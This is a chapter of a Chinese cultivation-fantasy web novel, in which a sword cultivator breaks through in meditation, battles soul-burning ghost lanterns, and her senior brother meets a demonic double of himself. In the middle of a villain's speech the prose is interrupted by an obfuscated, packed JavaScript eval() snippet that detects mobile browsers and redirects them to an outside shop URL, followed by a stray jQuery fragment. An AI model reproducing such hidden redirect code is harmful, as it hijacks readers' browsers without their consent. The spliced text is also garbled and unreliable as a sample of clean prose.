众生各有所求,得到难,满足更难。
在温饱线上挣扎的人们渴望不再忍饥挨饿,风餐露宿的百姓希望不再居无定所。
王公贵族杯盘狼藉,饮酒畅宴,没有此般担忧,于是希望美好能够无限延续,府库中的钱财无穷无尽,自身寿数能与天地同齐。加上滔天权势,众人称赞的名誉。
偶尔几个心系黎民百姓的朝臣下场赈济,满足了小部分人们的基本需求,情况好转了几天,因储备暂时不足,停了一段时日。
底层百姓当然不知官府背后的运作方式,只知道他们得到的救济终止了,又要回到受饿的日子。积攒起来的感激瞬间化为怨愤,他们觉得这些大臣只是在拿他们消遣,视他们的命如同草芥。
百姓不明白作为臣子为何会储备不足,正如主动赈济的朝臣不知百姓对他们态度的变化,双方相互不理解,隔阂矛盾越来越大。
后来还是国师府那位姓苏的神秘幕僚提出“招工”的方式,让欲觅得生机的百姓有路可走,既解决了有些地方人手时常不足的问题,又平息了民间逐渐沸腾的怨气。
能靠双手挣得安存,他们只巴不得多干一点,囤多一点,哪有时间想东想西。
从而避免了王朝可能因失去民心而倒塌的结局。
其间种种转折,苍远渡也道不清究竟为何。
许是一个“贪”字,穷苦百姓贪平稳,往上再贪富贵,往上又贪名声权势,上述皆有又贪长生;
国都贪安稳,安稳之后又贪扩展疆域,疆域辽阔之后又贪江山永存。
如此种种,牵扯出诸多因果,谁是谁非从来说不明白。
正如二人展开论辩,立场相反,于是请第三者充当司正。
若司正看法与第一人同,他凭什么做出定论?
若与第二人同,他凭什么做出定论?
若与二者皆不同,另有看法,他又有什么资格做出定论?
人间、瞬间、天地间。
*
南栖梧握紧剑柄,眉眼间带着不解与几乎看不见的愠意:“他们所系,又为何需要旁人付出代价?”
看来尽管有缚心锁强行压制,心念也并非那么容易遁形。
“我等修士,在他们的认知范畴之外。”苍远渡抬手理了理她的额发,一缕灵力无声注入,涤平那隐隐约约又将显露的杀气,同时斟酌着回答她的问题:
“吐纳天地灵气,承蒙此般恩惠,有悟道成仙之机,自当挑起一方责任。”
“闻言上古,天地泾渭不明,清浊混杂,枯灵遍地。”
“那时的人族过于微弱,谁都可以欺负他们。不知过了多久,天地被分开,人们终于有了一席立足之地。”
“但被挤压空间的其他族群不愿意,对弱小的人族虎视眈眈,为守护这来之不易的平衡,就有了修士一脉。”
“持道者,既要默默护佑一方安宁,又要不断证得自身道机。”
“师妹,这个天下从来都不曾太平。”
南栖梧耳边传来嗡鸣,想起有人也这般同她讲过“道”。
*
“纯则粹,阳则刚,天行健,两仪遵道恒长。故有长久者不自生方长生之讲。”
混沌的声音渐渐明晰,回忆也渐渐清晰,她想起来曾经在南山,混沌指着变换成鲲鹏形状的流云,慢条斯理同她讲着很晦涩很拗口的话。
“大道无形,生育天地;大道无情,运行日月;大道无名,长养万物;吾不知其名,强名日‘道’。”
“夫道者:有清有浊,有动有静,天清地浊,天动地静。降本流末,而生万物。清者浊之源,动者静之基。”
……
“人能常清静,天地悉皆归。”
*
额间剑纹骤然亮起,南栖梧身处内室,心在天外。
她感觉到前所未有的轻盈与畅快,似乎能化成世间万物而不被拘束,念头一动,即可跨越千山万海,也可遁入寻常巷陌。目光所及,可见到欢声笑语,也可见到悲恸伤怀。
但她的内心平静至极,所见所闻如同一滴水慢慢融进了水里。
冰蓝的灵力在此刻再度出现萦绕在她的周围,渐渐变淡,将她笼罩。
待灵力完全不见,南栖梧眼中有霜纹蔓延,很快也消失,自始至终,她的心境始终一片澄澈剔透,如同一面镜子映出万千众生相,却只限于映出而已。
没有什么可以深入她心。
苍远渡感知到她的气息变了,微微愣了愣。
他的师妹突破了坐忘道二重。
但也意味着,她会更加淡漠,会忘记更多事情,会更加不理解何为情绪。
……待她真正同于大通那天,会不会连她自己也一并忘掉?
苍远渡看着她逐渐清明的眼睛,心中忽然有点钝痛。
他希望她独当一面,希望她平安顺遂,希望世间没有什么可以伤害她。
但若修道的尽头是忘却自我,他要亲眼看着自家师妹站在人群中间,格格不入,分明没有被排斥,却感知不到任何归属吗。
他倒是希望她肆意放纵,无法无天,到处添乱。天塌下来了都有他苍远渡扛着。
地面微微动摇,有塌陷的趋势。
鬼骨灯笼由绿变至血红,透出一点阴森恐怖。
微弱的光开始闪烁,石壁上似乎出现了别的人影,指甲长而尖锐,正往他们的位置戳来。而他们身边没有第三人。
这时传来一阵诡异的笑声,自四面八方而来,此起彼伏。
灯影绰绰,那道声音忽然顿住:“杀道修士?”
孟极和驺虞立马闪身挡在南栖梧身前,警惕地扫视着四周,奓了毛。
“不过两点残魂,还来这里唬人。”
鬼骨灯笼齐刷刷围过来,外皮自动掀开,露出里面的灯芯,呈手指状,燃着的芯便是它的指尖。
南栖梧瞬间拔剑,将鬼骨灯劈得稀碎:“出来。”
“小姑娘脾气真大。”那道声音雌雄莫辨,带着戏谑:“知道为什么只是残魂吗。”
“因为它们被我做成了鬼骨灯,以皮为壳,以魂为芯,再添上误入此地的修士残骸,做成了这般浑然天成的灯。”
“不知道它们的一道残魂怎么跑出去了,不过这不重要。小姑娘,你挥剑的时候,有没有想过孟极和驺虞的魂体也在消失呢?”
南栖梧的动作僵住,其它鬼骨灯笼慢悠悠飘过来,停在她的脚边,开始堆叠,想要将她包裹。
声音越来越猖狂:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726200|207707||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“你以为不出手就没事了吗?”
“此灯可是一直在燃啊。”
“而且,你有没有发现,另一个修士不见了?”
南栖梧这才发觉苍远渡竟然消失得无影无踪。什么时候发生的事情,她居然丝毫没有察觉。
挥剑不得,她躲开一波鬼骨灯,身后是另一波,将她夹在中间,进退两难。
孟极忽然蹭了蹭她的衣摆,抬起晶亮的眸子,冲她叫了一声。
随后眼前闪过一道白影,驺虞窜了出去,叼着其中一盏灯,覆身盖了上去。
可燃魂体的鬼火碰到它,发出滋滋的声响,驺虞的身形迅速变小,这道残魂直接化为灯油——
一半的鬼骨灯瞬间熄灭,变成空壳。
南栖梧恍神间意识到了什么,忙去阻拦孟极。
而孟极雪白的身子敏捷一滚,疾如闪电,自地面腾空扑到燃烧着的灯芯上,重演了驺虞的结局。
上千鬼骨灯骤然熄灭,室内陷入一片黑暗死寂。
“真是忠心的灵兽呢,好感人啊。”戏谑的声音干巴巴地在她耳边回荡。
“何必执着送死呢?白白浪费时间。”
“随我坠入心渊吧。”
*
眨眼间,南栖梧坠入了一片迷雾。
剑气将其荡开,成千上万的妖物同时朝她看过来,嘴角咧开,肢体僵硬又诡异地朝她袭来。
南栖梧身形一动,提着“且慢”,在数千大小妖怪中穿梭,所经之处哀嚎一片,被这蕴含着浓烈杀意的剑气掀翻在地,当场暴毙。
师兄不知道被带到什么地方去了。南栖梧垂眸,剑光流转,很快荡平了一片又一片。
四周的妖无穷无尽,又弱得很,根本不够杀。
南栖梧心下一沉,觉得事出反常,像是在故意消耗她的体力一般,一群接一群无脑往前冲。
抬眼瞥到一处峭壁,她甩开妖物,收剑入鞘,轻轻一跃跳到了崖壁上,足尖贴着峭壁边跑边思考,如何快速找到苍远渡。
底下的小妖跟丢了她,胡乱地开始乱打转,只会往一处方向走,根本没有抬头看,完全发现不了她的位置。
处处透露出诡异,在这种东西上浪费体力,不划算。
她顺手扔了一块石子下去,石子落地的瞬间,一帮妖物又蜂拥而至,围着那块石头打量。
还是没有脑子的小妖。
*
苍远渡被一团黑气包围,那黑气口吐人言,用的还是他的声音。
“苍仙长在外捉妖多久了,还记不记得你的阿姐呢?”
黑雾凝聚成形,笑得极其怪异:“若有一天,姐弟俩短兵相见,该如何啊。”
苍远渡眼也不抬,黑雾却被瞬间打散,怪笑顿时变成吃痛的尖叫。
“邪魔歪道,一并斩之。”他淡淡道。
“嘁——”黑雾重新凝聚,嘲讽道:“堂堂天才,打不死我的感觉很不爽吧?”
它化成了人形,长着同苍远渡一模一样的脸,只是更为妖冶,周身尽是邪气。
然后它走近他,颇为亲昵地搭上苍远渡的肩膀,笑嘻嘻道:“你杀不死我的,我就是你呀。”
“你知道的,若是伤了我,你也会承受同等痛苦。”